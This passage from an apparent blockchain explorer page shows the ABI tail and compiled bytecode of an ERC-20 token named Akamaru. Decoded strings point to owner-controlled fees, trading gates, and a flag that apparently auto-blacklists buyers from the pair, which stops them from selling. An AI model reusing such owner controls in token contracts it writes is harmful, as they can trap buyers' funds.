":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vestedSaleLimitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b031990811661dead179091556004805490911681556200003190600a62000552565b6200004190633b9aca0062000613565b60055560c8600554620000559190620004e6565b6006556064600554620000699190620004e6565b600755600a805460ff19166001178155620000879060049062000552565b62000096906202710062000613565b600c5562015180600d55600f8054600160ff19918216811790925560118054909116905560036015819055600460168190556017839055601882905560006019819055929190620000e89082620004cb565b620000f49190620004cb565b620001009190620004cb565b6200010c9190620004cb565b601a556064601b819055601c819055600a601d819055601e805460ff19169055610384602055602655602755602a805462ffffff60a01b191661010160a81b1790556005546103e8906200016290600162000613565b6200016e9190620004e6565b602b553480156200017e57600080fd5b5060008054336001600160a01b031991821681178355825260016020818152604093849020805460ff191690921790915560288054737a250d5630b4cf539739df2c5dacb4c659f2488d93168317905582516315ab88c960e31b81529251919263ad5c46489260048083019392829003018186803b1580156200020057600080fd5b505afa15801562000215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023b919062000499565b600280546001600160a01b0319166001600160a01b039283161790556028546040805163c45a015560e01b81529051919092169163c45a0155916004808301926020929190829003018186803b1580156200029557600080fd5b505afa158015620002aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d0919062000499565b6002546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c6539690604401602060405180830381600087803b1580156200031d57600080fd5b505af115801562000332573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000358919062000499565b602980546001600160a01b039283166001600160a01b03199182168117909255602a8054821690921790915530600090815260096020908152604080832060285486168452825280832060001990553380845260138352818420805460ff19908116600190811790925560148552838620805490911690911790556021805486168217905560228054861673b1977756aa2efd29de69fe072a6b337a24c3389617905560238054861673f7e402b7c0d30217fba3fd7aef90a505ab63e14517905560248054861673807baf352cfd82e07bd94effb1cf288896b8245e179055600354602580549096169616959095179093556005546008909152828220819055915190917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200048b91815260200190565b60405180910390a36200064b565b600060208284031215620004ac57600080fd5b81516001600160a01b0381168114620004c457600080fd5b9392505050565b60008219821115620004e157620004e162000635565b500190565b6000826200050457634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200054a5781600019048211156200052e576200052e62000635565b808516156200053c57918102915b93841c93908002906200050e565b509250929050565b6000620004c460ff8416836000826200056e575060016200060d565b816200057d575060006200060d565b8160018114620005965760028114620005a157620005c1565b60019150506200060d565b60ff841115620005b557620005b562000635565b50506001821b6200060d565b5060208310610133831016604e8410600b8410161715620005e6575081810a6200060d565b620005f2838362000509565b806000190482111562000609576200060962000635565b0290505b92915050565b600081600019048311821515161562000630576200063062000635565b500290565b634e487b7160e01b600052601160045260246000fd5b6132e3806200065b6000396000f3fe60806040526004361061044b5760003560e01c806378109e5411610234578063bc3c6bba1161012e578063ec72d65f116100b6578063f84ba65d1161007a578063f84ba65d14610d59578063f887ea4014610d79578063fce589d814610d99578063fe9fbb8014610daf578063fed0d2a114610dcf57600080fd5b8063ec72d65f14610cbf578063f0b37c0414610cdf578063f12418a814610cff578063f2fde38b14610d1f578063f4bca24514610d3f57600080fd5b8063dd62ed3e116100fd578063dd62ed3e14610bf9578063df20fd4914610c3f578063dfcf883e14610c5f578063e3763ded14610c7f578063e96fada214610c9f57600080fd5b8063bc3c6bba14610b73578063ca33e64c14610ba3578063d51ed1c814610bc3578063d7c94efd14610be357600080fd5b806398118cb4116101bc578063a73e9e5811610180578063a73e9e5814610ad3578063a8aa1b3114610af3578063a9059cbb14610b13578063b6a5d7de14610b33578063baf7af1214610b5357600080fd5b806398118cb414610a405780639af82b7214610a565780639dd255da14610a76578063a4a4b19b14610a90578063a4c82a0014610abd57600080fd5b80638714f957116102035780638714f95714610991578063893d20e8146109b15780639147c8aa146109cf57806395d89b41146109ef578063976b7e1214610a2057600080fd5b806378109e54146109255780637d1db4a51461093b57806384b1d1ef1461095157806386f6c3c11461097157600080fd5b80632c3e486c11610345578063571ac8b0116102cd5780636b67c4df116102915780636b67c4df146108885780636ddd17131461089e57806370a08231146108bf57806370e1dfd1146108f5578063722b62ad1461090f57600080fd5b8063571ac8b0146107e65780635aff43ef146108065780635c85974f14610827578063636cfa8f14610847578063658d4b7f1461086857600080fd5b806332fe04401161031457806332fe04401461073e5780633889a5c1146107585780633b2d081c14610778578063400c9cd91461078e5780634d709adf146107ae57600080fd5b80632c3e486c146106bd5780632c9b9873146106d35780632f54bf6e146106f3578063313ce5671461072257600080fd5b8063199ffc72116103d3578063214d143011610397578063214d14301461061857806323b872dd14610648578063260cb9e81461066857806326e3692c146106885780632b112e49146106a857600080fd5b8063199ffc72146105965780631ca0a28d146105ac5780631df4ccfc146105cc578063201e7991146105e2578063207e2f1f1461060257600080fd5b80630d2959801161041a5780630d2959801461050b5780631161ae391461052b578063180b0d7e1461054b57806318160ddd1461056157806318abb6351461057657600080fd5b8063012aa912146104575780630445b6671461047957806306fdde03146104a2578063095ea7b3146104db57600080fd5b3661045257005b600080fd5b34801561046357600080fd5b50610477610472366004612f8e565b610de5565b005b34801561048557600080fd5b5061048f602b5481565b6040519081526020015b60405180910390f35b3480156104ae57600080fd5b50604080518082019091526007815266416b616d61727560c81b60208201525b60405161049991906130a8565b3480156104e757600080fd5b506104fb6104f6366004612eb3565b610e39565b6040519015158152602001610499565b34801561051757600080fd5b50610477610526366004612f36565b610ea6565b34801561053757600080fd5b506104fb610546366004612fe7565b610eee565b34801561055757600080fd5b5061048f601b5481565b34801561056d57600080fd5b5060055461048f565b34801561058257600080fd5b50610477610591366004612d50565b610f02565b3480156105a257600080fd5b5061048f601d5481565b3480156105b857600080fd5b506104776105c7366004612e02565b610f86565b3480156105d857600080fd5b5061048f601a5481565b3480156105ee57600080fd5b506104776105fd366004612fe7565b61119a565b34801561060e57600080fd5b5061048f600c5481565b34801561062457600080fd5b506104fb610633366004612cfa565b60126020526000908152604090205460ff1681565b34801561065457600080fd5b506104fb610663366004612dc1565b6111ca565b34801561067457600080fd5b50610477610683366004612f36565b61128c565b34801561069457600080fd5b506104fb6106a3366004612eb3565b6112d4565b3480156106b457600080fd5b5061048f6113fe565b3480156106c957600080fd5b5061048f60205481565b3480156106df57600080fd5b506104776106ee366004612edf565b611450565b3480156106ff57600080fd5b506104fb61070e366004612cfa565b6000546001600160a01b0391821691161490565b34801561072e57600080fd5b5060405160048152602001610499565b34801561074a57600080fd5b50600a546104fb9060ff1681565b34801561076457600080fd5b50610477610773366004612f36565b6114ef565b34801561078457600080fd5b5061048f60175481565b34801561079a57600080fd5b506104776107a9366004612f36565b61152c565b3480156107ba57600080fd5b50602a546107ce906001600160a01b031681565b6040516001600160a01b039091168152602001610499565b3480156107f257600080fd5b506104fb610801366004612cfa565b611569565b34801561081257600080fd5b50602a546104fb90600160a01b900460ff1681565b34801561083357600080fd5b50610477610842366004612f8e565b611577565b34801561085357600080fd5b50602a546104fb90600160a81b900460ff1681565b34801561087457600080fd5b50610477610883366004612e85565b6115a1565b34801561089457600080fd5b5061048f60165481565b3480156108aa57600080fd5b50602a546104fb90600160b01b900460ff1681565b3480156108cb57600080fd5b5061048f6108da366004612cfa565b6001600160a01b031660009081526008602052604090205490565b34801561090157600080fd5b506011546104fb9060ff1681565b34801561091b57600080fd5b5061048f600d5481565b34801561093157600080fd5b5061048f60075481565b34801561094757600080fd5b5061048f60065481565b34801561095d57600080fd5b506023546107ce906001600160a01b031681565b34801561097d57600080fd5b5061047761098c366004613065565b6115f1565b34801561099d57600080fd5b506104776109ac366004613009565b6116b2565b3480156109bd57600080fd5b506000546001600160a01b03166107ce565b3480156109db57600080fd5b506104776109ea366004612f8e565b611749565b3480156109fb57600080fd5b5060408051808201909152600881526724414b414d41525560c01b60208201526104ce565b348015610a2c57600080fd5b506104fb610a3b366004612f8e565b6117b6565b348015610a4c57600080fd5b5061048f60155481565b348015610a6257600080fd5b50610477610a71366004612edf565b611980565b348015610a8257600080fd5b50601e546104fb9060ff1681565b348015610a9c57600080fd5b5061048f610aab366004612cfa565b600e6020526000908152604090205481565b348015610ac957600080fd5b5061048f601f5481565b348015610adf57600080fd5b50610477610aee366004612f8e565b611a14565b348015610aff57600080fd5b506029546107ce906001600160a01b031681565b348015610b1f57600080fd5b506104fb610b2e366004612eb3565b611a3e565b348015610b3f57600080fd5b50610477610b4e366004612cfa565b611a4b565b348015610b5f57600080fd5b50610477610b6e366004612edf565b611a9c565b348015610b7f57600080fd5b506104fb610b8e366004612cfa565b60106020526000908152604090205460ff1681565b348015610baf57600080fd5b506021546107ce906001600160a01b031681565b348015610bcf57600080fd5b5061048f610bde366004612f8e565b611b35565b348015610bef57600080fd5b5061048f60185481565b348015610c0557600080fd5b5061048f610c14366004612d17565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b348015610c4b57600080fd5b50610477610c5a366004612f70565b611b76565b348015610c6b57600080fd5b50610477610c7a366004612fc0565b611bbd565b348015610c8b57600080fd5b506025546107ce906001600160a01b031681565b348015610cab57600080fd5b506022546107ce906001600160a01b031681565b348015610ccb57600080fd5b50610477610cda366004612f8e565b611c1d565b348015610ceb57600080fd5b50610477610cfa366004612cfa565b611c47565b348015610d0b57600080fd5b50610477610d1a366004612f8e565b611c92565b348015610d2b57600080fd5b50610477610d3a366004612cfa565b611cdd565b348015610d4b57600080fd5b50600f546104fb9060ff1681565b348015610d6557600080fd5b50610477610d74366004612e85565b611d73565b348015610d8557600080fd5b506028546107ce906001600160a01b031681565b348015610da557600080fd5b5061048f60195481565b348015610dbb57600080fd5b506104fb610dca366004612cfa565b611dc3565b348015610ddb57600080fd5b5061048f601c5481565b6000546001600160a01b03163314610e185760405162461bcd60e51b8152600401610e0f906130fd565b60405180910390fd5b61271081600554610e2991906131ed565b610e3391906131cb565b60075550565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610e949086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610ed05760405162461bcd60e51b8152600401610e0f906130fd565b602a8054911515600160a01b0260ff60a01b19909216919091179055565b600082610efa83611b35565b119392505050565b610f0b33611dc3565b610f275760405162461bcd60e51b8152600401610e0f9061311d565b602180546001600160a01b03199081166001600160a01b03978816179091556022805482169587169590951790945560238054851693861693909317909255602580548416918516919091179055602480549092169216919091179055565b6000546001600160a01b03163314610fb05760405162461bcd60e51b8152600401610e0f906130fd565b6101f583106110175760405162461bcd60e51b815260206004820152602d60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526c3530302061646472657373657360981b6064820152608401610e0f565b8281146110775760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610e0f565b6000805b848110156110bb5783838281811061109557611095613254565b90506020020135826110a791906131b3565b9150806110b381613223565b91505061107b565b50806110dc876001600160a01b031660009081526008602052604090205490565b101561112a5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610e0f565b60005b848110156111915761117e8787878481811061114b5761114b613254565b90506020020160208101906111609190612cfa565b86868581811061117257611172613254565b90506020020135611de1565b508061118981613223565b91505061112d565b50505050505050565b6111a333611dc3565b6111bf5760405162461bcd60e51b8152600401610e0f9061311d565b602691909155602755565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914611277576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054611252918490611eb5565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b611282848484611eef565b90505b9392505050565b6000546001600160a01b031633146112b65760405162461bcd60e51b8152600401610e0f906130fd565b602a8054911515600160a81b0260ff60a81b19909216919091179055565b600080546001600160a01b031633146112ff5760405162461bcd60e51b8152600401610e0f906130fd565b8161137e576040516370a0823160e01b81523060048201526001600160a01b038416906370a082319060240160206040518083038186803b15801561134357600080fd5b505afa158015611357573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137b9190612fa7565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb90604401602060405180830381600087803b1580156113c657600080fd5b505af11580156113da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112859190612f53565b6004546001600160a01b031660009081526008602052604081205461144b906003546001600160a01b031660009081526008602052604090205461144590600554906124b6565b906124b6565b905090565b6000546001600160a01b0316331461147a5760405162461bcd60e51b8152600401610e0f906130fd565b60005b828110156114e95781600b600086868581811061149c5761149c613254565b90506020020160208101906114b19190612cfa565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556114e281613223565b905061147d565b50505050565b6000546001600160a01b031633146115195760405162461bcd60e51b8152600401610e0f906130fd565b6011805460ff1916911515919091179055565b6000546001600160a01b031633146115565760405162461bcd60e51b8152600401610e0f906130fd565b600f805460ff1916911515919091179055565b6000610ea082600019610e39565b61158033611dc3565b61159c5760405162461bcd60e51b8152600401610e0f9061311d565b600655565b6115aa33611dc3565b6115c65760405162461bcd60e51b8152600401610e0f9061311d565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6115fa33611dc3565b6116165760405162461bcd60e51b8152600401610e0f9061311d565b6015869055601885905560168490556017839055601982905561164782611641858188818c8c6124f8565b906124f8565b601a55601b81905561165a6002826131cb565b601a54106116aa5760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e20353025000000006044820152606401610e0f565b505050505050565b6000546001600160a01b031633146116dc5760405162461bcd60e51b8152600401610e0f906130fd565b6103e8821061172d5760405162461bcd60e51b815260206004820152601d60248201527f6d61782076616c756520666f72206175746f6275726e206973203130250000006044820152606401610e0f565b602092909255601d55601e805460ff1916911515919091179055565b61175233611dc3565b61176e5760405162461bcd60e51b8152600401610e0f9061311d565b47336108fc606461177f85856131ed565b61178991906131cb565b6040518115909202916000818181858888f193505050501580156117b1573d6000803e3d6000fd5b505050565b600080546001600160a01b031633146117e15760405162461bcd60e51b8152600401610e0f906130fd565b6103e88211156118465760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201526906b656e7320696e204c560b41b6064820152608401610e0f565b6029546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a082319060240160206040518083038186803b15801561188c57600080fd5b505afa1580156118a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c49190612fa7565b905060006118de6127106118d88487612557565b906125d6565b9050801561197657602954600354611903916001600160a01b03908116911683611de1565b50602a60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561195457600080fd5b505af1158015611968573d6000803e3d6000fd5b506001979650505050505050565b5060009392505050565b61198933611dc3565b6119a55760405162461bcd60e51b8152600401610e0f9061311d565b60005b828110156114e95781601060008686858181106119c7576119c7613254565b90506020020160208101906119dc9190612cfa565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611a0d81613223565b90506119a8565b611a1d33611dc3565b611a395760405162461bcd60e51b8152600401610e0f9061311d565b600c55565b6000611285338484611eef565b6000546001600160a01b03163314611a755760405162461bcd60e51b8152600401610e0f906130fd565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000546001600160a01b03163314611ac65760405162461bcd60e51b8152600401610e0f906130fd565b60005b828110156114e9578160126000868685818110611ae857611ae8613254565b9050602002016020810190611afd9190612cfa565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611b2e81613223565b9050611ac9565b6000610ea0611b426113fe565b6029546001600160a01b03166000908152600860205260409020546118d890611b6f906002905b90612557565b8590612557565b611b7f33611dc3565b611b9b5760405162461bcd60e51b8152600401610e0f9061311d565b602a8054921515600160b01b0260ff60b01b1990931692909217909155602b55565b6000546001600160a01b03163314611be75760405162461bcd60e51b8152600401610e0f906130fd565b61271083600554611bf891906131ed565b611c0291906131cb565b600c55600a805460ff191692151592909217909155600d5550565b611c2633611dc3565b611c425760405162461bcd60e51b8152600401610e0f9061311d565b601c55565b6000546001600160a01b03163314611c715760405162461bcd60e51b8152600401610e0f906130fd565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b03163314611cbc5760405162461bcd60e51b8152600401610e0f906130fd565b61271081600554611ccd91906131ed565b611cd791906131cb565b60065550565b6000546001600160a01b03163314611d075760405162461bcd60e51b8152600401610e0f906130fd565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b611d7c33611dc3565b611d985760405162461bcd60e51b8152600401610e0f9061311d565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6001600160a01b031660009081526001602052604090205460ff1690565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600890915291822054611e32918490611eb5565b6001600160a01b038086166000908152600860205260408082209390935590851681522054611e6190836124f8565b6001600160a01b03808516600081815260086020526040908190209390935591519086169060008051602061328e83398151915290611ea39086815260200190565b60405180910390a35060019392505050565b60008184841115611ed95760405162461bcd60e51b8152600401610e0f91906130a8565b506000611ee6848661320c565b95945050505050565b602c5460009060ff1615611f0f57611f08848484611de1565b9050611285565b6001600160a01b03841660009081526001602052604090205460ff16158015611f5157506001600160a01b03831660009081526001602052604090205460ff16155b15611ff557602a54600160a01b900460ff16611fa65760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610e0f565b602a54600160a81b900460ff168015611fcc57506029546001600160a01b038581169116145b15611ff5576001600160a01b0383166000908152601060205260409020805460ff191660011790555b600f5460ff1615612056576001600160a01b03841660009081526010602052604090205460ff16156120565760405162461bcd60e51b815260206004820152600a6024820152691b9d5a5cd85b98d9595960b21b6044820152606401610e0f565b6001600160a01b0384166000908152600b602052604090205460ff1680156120805750600a5460ff165b15612173576001600160a01b0384166000908152600e602052604090205442116120ec5760405162461bcd60e51b815260206004820152601b60248201527f566573742073656c6c65722074696d65207265737472696374656400000000006044820152606401610e0f565b600c5482111561214c5760405162461bcd60e51b815260206004820152602560248201527f566573742073656c6c65722068617665206d61782073656c6c2072657374726960448201526431ba34b7b760d91b6064820152608401610e0f565b600d5461215990426131b3565b6001600160a01b0385166000908152600e60205260409020555b6001600160a01b03841660009081526001602052604090205460ff161580156121a557506001600160a01b0383163014155b80156121bf57506003546001600160a01b03848116911614155b80156121d957506029546001600160a01b03848116911614155b80156121f357506025546001600160a01b03848116911614155b15612294576001600160a01b03831660009081526008602052604090205460075461221e84836131b3565b11156122925760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e00006064820152608401610e0f565b505b61229e8483612618565b6122a6612685565b156122b8576122b36126db565b61236e565b6001600160a01b03841660009081526001602052604090205460ff161580156122fa57506001600160a01b03831660009081526001602052604090205460ff16155b801561231f57506001600160a01b03841660009081526013602052604090205460ff16155b801561233857506029546001600160a01b038481169116145b80156123465750601e5460ff165b80156123615750602054601f5461235d91906131b3565b4210155b1561236e5761236e612ad1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600890915291909120546123c0918490611eb5565b6001600160a01b038516600090815260086020908152604080832093909355601390529081205460ff1615158061241157506001600160a01b03841660009081526013602052604090205460ff1615155b6124395760295461243490869085906001600160a01b0388811691161487612aee565b61243b565b825b6001600160a01b03851660009081526008602052604090205490915061246190826124f8565b6001600160a01b03808616600081815260086020526040908190209390935591519087169060008051602061328e833981519152906124a39085815260200190565b60405180910390a3506001949350505050565b600061128583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eb5565b60008061250583856131b3565b9050838110156112855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610e0f565b60008261256657506000610ea0565b600061257283856131ed565b90508261257f85836131cb565b146112855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610e0f565b600061128583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c80565b6006548111158061264157506001600160a01b03821660009081526014602052604090205460ff165b6126815760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610e0f565b5050565b6029546000906001600160a01b031633148015906126a65750602c5460ff16155b80156126bb5750602a54600160b01b900460ff165b801561144b575050602b5430600090815260086020526040902054101590565b602c805460ff191660011790556026546027546000916126fa91610eee565b61270657601554612709565b60005b9050600061272d60026118d8601a546118d886602b5461255790919063ffffffff16565b9050600061274682602b546124b690919063ffffffff16565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061278057612780613254565b6001600160a01b0392831660209182029290920101526002548251911690829060019081106127b1576127b1613254565b6001600160a01b03928316602091820292909201015260285460405163791ac94760e01b81524792919091169063791ac947906127fb908690600090879030904290600401613142565b600060405180830381600087803b15801561281557600080fd5b505af1158015612829573d6000803e3d6000fd5b50505050600061284282476124b690919063ffffffff16565b9050600061285d6128548860026125d6565b601a54906124b6565b9050600061287260026118d88481878d612557565b9050600061288f836118d86016548761255790919063ffffffff16565b905060006128ac846118d86018548861255790919063ffffffff16565b905060006128c9856118d86017548961255790919063ffffffff16565b6022546040519192506000916001600160a01b039091169085908381818185875af1925050503d806000811461291b576040519150601f19603f3d011682016040523d82523d6000602084013e612920565b606091505b50506023546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114612970576040519150601f19603f3d011682016040523d82523d6000602084013e612975565b606091505b50506024546040519192506001600160a01b0316908490600081818185875af1925050503d80600081146129c5576040519150601f19603f3d011682016040523d82523d6000602084013e6129ca565b606091505b5060009250508b159050612ab95760285460215460405163f305d71960e01b8152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c4016060604051808303818588803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612a7c9190613037565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050602c805460ff1916905550505050505050505050565b6000612ade601d546117b6565b90508015612aeb5742601f555b50565b60008083612afd576064612b01565b601c545b60115490915060ff168015612b2f57506001600160a01b03831660009081526012602052604090205460ff16155b8015612b39575083155b15612b4357506102bc5b6000612b70601b546064612b5791906131ed565b6118d884611b69601a548b61255790919063ffffffff16565b90506000612b8f601a546118d86019548561255790919063ffffffff16565b90506000612b9d83836124b6565b30600090815260086020526040902054909150612bba90826124f8565b30600090815260086020526040808220929092556025546001600160a01b031681522054612be890836124f8565b6025546001600160a01b0390811660009081526008602090815260409182902093909355518381523092918c169160008051602061328e833981519152910160405180910390a38115612c69576025546040518381526001600160a01b03918216918b169060008051602061328e8339815191529060200160405180910390a35b612c7388846124b6565b9998505050505050505050565b60008183612ca15760405162461bcd60e51b8152600401610e0f91906130a8565b506000611ee684866131cb565b60008083601f840112612cc057600080fd5b50813567ffffffffffffffff811115612cd857600080fd5b6020830191508360208260051b8501011115612cf357600080fd5b9250929050565b600060208284031215612d0c57600080fd5b81356112858161326a565b60008060408385031215612d2a57600080fd5b8235612d358161326a565b91506020830135612d458161326a565b809150509250929050565b600080600080600060a08688031215612d6857600080fd5b8535612d738161326a565b94506020860135612d838161326a565b93506040860135612d938161326a565b92506060860135612da38161326a565b91506080860135612db38161326a565b809150509295509295909350565b600080600060608486031215612dd657600080fd5b8335612de18161326a565b92506020840135612df18161326a565b929592945050506040919091013590565b600080600080600060608688031215612e1a57600080fd5b8535612e258161326a565b9450602086013567ffffffffffffffff80821115612e4257600080fd5b612e4e89838a01612cae565b90965094506040880135915080821115612e6757600080fd5b50612e7488828901612cae565b969995985093965092949392505050565b60008060408385031215612e9857600080fd5b8235612ea38161326a565b91506020830135612d458161327f565b60008060408385031215612ec657600080fd5b8235612ed18161326a565b946020939093013593505050565b600080600060408486031215612ef457600080fd5b833567ffffffffffffffff811115612f0b57600080fd5b612f1786828701612cae565b9094509250506020840135612f2b8161327f565b809150509250925092565b600060208284031215612f4857600080fd5b81356112858161327f565b600060208284031215612f6557600080fd5b81516112858161327f565b60008060408385031215612f8357600080fd5b8235612ed18161327f565b600060208284031215612fa057600080fd5b5035919050565b600060208284031215612fb957600080fd5b5051919050565b600080600060608486031215612fd557600080fd5b833592506020840135612df18161327f565b60008060408385031215612ffa57600080fd5b50508035926020909101359150565b60008060006060848603121561301e57600080fd5b83359250602084013591506040840135612f2b8161327f565b60008060006060848603121561304c57600080fd5b8351925060208401519150604084015190509250925092565b60008060008060008060c0878903121561307e57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208083528351808285015260005b818110156130d5578581018301518582016040015282016130b9565b818111156130e7576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131925784516001600160a01b03168352938301939183019160010161316d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156131c6576131c661323e565b500190565b6000826131e857634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156132075761320761323e565b500290565b60008282101561321e5761321e61323e565b500390565b60006000198214156132375761323761323e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114612aeb57600080fd5b8015158114612aeb57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200f5cc052c41526fe2a6697ce697d2505cbacaa67106870ce48db652fea017a1f64736f6c63430008070033

Deployed Bytecode

0x60806040526004361061044b5760003560e01c806378109e5411610234578063bc3c6bba1161012e578063ec72d65f116100b6578063f84ba65d1161007a578063f84ba65d14610d59578063f887ea4014610d79578063fce589d814610d99578063fe9fbb8014610daf578063fed0d2a114610dcf57600080fd5b8063ec72d65f14610cbf578063f0b37c0414610cdf578063f12418a814610cff578063f2fde38b14610d1f578063f4bca24514610d3f57600080fd5b8063dd62ed3e116100fd578063dd62ed3e14610bf9578063df20fd4914610c3f578063dfcf883e14610c5f578063e3763ded14610c7f578063e96fada214610c9f57600080fd5b8063bc3c6bba14610b73578063ca33e64c14610ba3578063d51ed1c814610bc3578063d7c94efd14610be357600080fd5b806398118cb4116101bc578063a73e9e5811610180578063a73e9e5814610ad3578063a8aa1b3114610af3578063a9059cbb14610b13578063b6a5d7de14610b33578063baf7af1214610b5357600080fd5b806398118cb414610a405780639af82b7214610a565780639dd255da14610a76578063a4a4b19b14610a90578063a4c82a0014610abd57600080fd5b80638714f957116102035780638714f95714610991578063893d20e8146109b15780639147c8aa146109cf57806395d89b41146109ef578063976b7e1214610a2057600080fd5b806378109e54146109255780637d1db4a51461093b57806384b1d1ef1461095157806386f6c3c11461097157600080fd5b80632c3e486c11610345578063571ac8b0116102cd5780636b67c4df116102915780636b67c4df146108885780636ddd17131461089e57806370a08231146108bf57806370e1dfd1146108f5578063722b62ad1461090f57600080fd5b8063571ac8b0146107e65780635aff43ef146108065780635c85974f14610827578063636cfa8f14610847578063658d4b7f1461086857600080fd5b806332fe04401161031457806332fe04401461073e5780633889a5c1146107585780633b2d081c14610778578063400c9cd91461078e5780634d709adf146107ae57600080fd5b80632c3e486c146106bd5780632c9b9873146106d35780632f54bf6e146106f3578063313ce5671461072257600080fd5b8063199ffc72116103d3578063214d143011610397578063214d14301461061857806323b872dd14610648578063260cb9e81461066857806326e3692c146106885780632b112e49146106a857600080fd5b8063199ffc72146105965780631ca0a28d146105ac5780631df4ccfc146105cc578063201e7991146105e2578063207e2f1f1461060257600080fd5b80630d2959801161041a5780630d2959801461050b5780631161ae391461052b578063180b0d7e1461054b57806318160ddd1461056157806318abb6351461057657600080fd5b8063012aa912146104575780630445b6671461047957806306fdde03146104a2578063095ea7b3146104db57600080fd5b3661045257005b600080fd5b34801561046357600080fd5b50610477610472366004612f8e565b610de5565b005b34801561048557600080fd5b5061048f602b5481565b6040519081526020015b60405180910390f35b3480156104ae57600080fd5b50604080518082019091526007815266416b616d61727560c81b60208201525b60405161049991906130a8565b3480156104e757600080fd5b506104fb6104f6366004612eb3565b610e39565b6040519015158152602001610499565b34801561051757600080fd5b50610477610526366004612f36565b610ea6565b34801561053757600080fd5b506104fb610546366004612fe7565b610eee565b34801561055757600080fd5b5061048f601b5481565b34801561056d57600080fd5b5060055461048f565b34801561058257600080fd5b50610477610591366004612d50565b610f02565b34801561